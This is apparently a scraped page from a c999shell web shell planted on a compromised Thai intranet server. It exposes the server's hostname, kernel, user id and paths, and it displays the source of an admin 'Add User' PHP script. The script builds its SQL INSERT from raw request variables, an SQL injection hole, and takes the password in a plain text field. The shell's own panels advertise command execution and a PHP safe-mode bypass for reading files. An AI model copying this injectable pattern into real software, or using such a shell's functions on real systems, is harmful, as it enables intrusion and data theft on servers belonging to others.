Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/ drwxr-xr-x |
Viewing file: Select action/file-type: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-874"> <link href="style.css" rel="stylesheet" type="text/css"> <title>-== : ยินดีต้อนรับระบบ Intranet BCNU : ==-</title> </head> <body leftmargin="0" rightmargin="0" topmargin="0" bottommargin="0"> <table width="755" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td colspan="2" align="center"><?php include("header.php");?></td> </tr> <tr> <td colspan="2" background="images/bg_table.png" height="30"><div align="right" class="f3"> ยินดีต้อนรับ คุณ <?=getFullName($_SESSION[gid]); ?> </div></td> </tr> <tr> <td width="30%" bgcolor="#FFEECC"> </td> <td bgcolor="#FFFFFF"> </td> </tr> <tr> <td align="center" valign="top" bgcolor="#FFEECC"><?php include("menu_admin.php");?></td> <td valign="top" bgcolor="#FFFFFF"> <?php connDB(); ?> <?php if ($submit) { $pwdCrypt = crypt($pwd); $sql="insert into person (uid, password, prefix, fname, lname, address, email, gid) values ('$username','$pwdCrypt','$prefix','$fname','$lname','$address','$email','$level')"; $result=mysql_query($sql); echo "<script>alert('บันทึกข้อมูลเรียบร้อยแล้ว');window.location.href='add_user.php' ;</script>"; } else { ?> <form action="<?=$_SERVER['PHP_SELF']?>" method="post"> <table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E3F0FC"> <tr> <td height="25" colspan="2"><div align="center" class="f7">Add User </div></td> </tr> <tr> <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right"> ชื่อเข้าระบบ </div></td> <td height="30" bgcolor="#FFFFFF"><input name="username" type="text" id="username"></td> </tr> <tr> <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">รหัสผ่าน </div></td> <td height="30" bgcolor="#FFFFFF"><input name="pwd" type="text" id="pwd"></td> </tr> <tr> <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">คำนำหน้าชื่อ </div></td> <td height="30" bgcolor="#FFFFFF"><select name="prefix" id="prefix"> <option>นาย</option> <option>นาง</option> <option>นางสาว</option> </select> </td> </tr> <tr> <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">ชื่อ </div></td> <td height="30" bgcolor="#FFFFFF"><input name="fname" type="text" id="fname"></td> </tr> <tr> <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">นามสกุล </div></td> <td height="30" bgcolor="#FFFFFF"><input name="lname" type="text" id="lname"></td> </tr> <tr> <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">ที่อยู่ </div></td> <td height="30" bgcolor="#FFFFFF"><input name="address" type="text" id="address"></td> </tr> <tr> <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">อี-เมลล์ </div></td> <td height="30" bgcolor="#FFFFFF"><input name="email" type="text" id="email"></td> </tr> <tr> <td width="50%" height="30" bgcolor="#FFFFFF" class="f7"><div align="right">ระดับผู้ใช้งาน </div></td> <td width="50%" height="30" bgcolor="#FFFFFF"><select name="level" id="level"> <option>1</option> <option>2</option> </select><span class="f6"> 1. ผู้แลระบบ 2.ผู้ใช้งานทั่วไป</span></td> </tr> <tr> <td height="50" colspan="2" bgcolor="#FFFFFF" align="center"><input name="submit" type="submit" id="submit" value="Add User"></td> </tr> </table></form><? } ?></td> </tr> <tr> <td bgcolor="#FFEECC"> </td> <td bgcolor="#FFFFFF"> </td> </tr> <tr> <td bgcolor="#FFEECC"> </td> <td bgcolor="#FFFFFF"> </td> </tr> <tr> <td bgcolor="#FFEECC"> </td> <td bgcolor="#FFFFFF"> </td> </tr> <tr> <td bgcolor="#FFEECC"> </td> <td bgcolor="#FFFFFF"> </td> </tr> <tr> <td colspan="2" align="center"><?php include("footer.php");?></td> </tr> </table> </body> </html> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]-- |